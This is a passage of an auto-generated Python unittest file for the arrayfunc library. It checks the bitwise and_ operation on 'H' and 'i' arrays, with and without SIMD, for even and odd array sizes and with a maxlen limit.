# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('H', xdata)
self.data2 = array.array('H', ydata)
self.dataout = array.array('H', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code H.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code H.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code H.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code H.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code H.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_nosimd_simd_i(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('i', xdata)
self.data2 = array.array('i', ydata)
self.dataout = array.array('i', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code i.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code i.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code i.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_withsimd_simd_i(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('i', xdata)
self.data2 = array.array('i', ydata)
self.dataout = array.array('i', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code i.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code i.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code i.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_nosimd_simd_i(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('i', xdata)
self.data2 = array.array('i', ydata)
self.dataout = array.array('i', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code i.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code i.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code i.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code i.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_withsimd_simd_i(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('i', xdata)
self.data2 = array.array('i', ydata)
self.dataout = array.array('i', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code i.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code i.
"""
for testval in self.data1param:
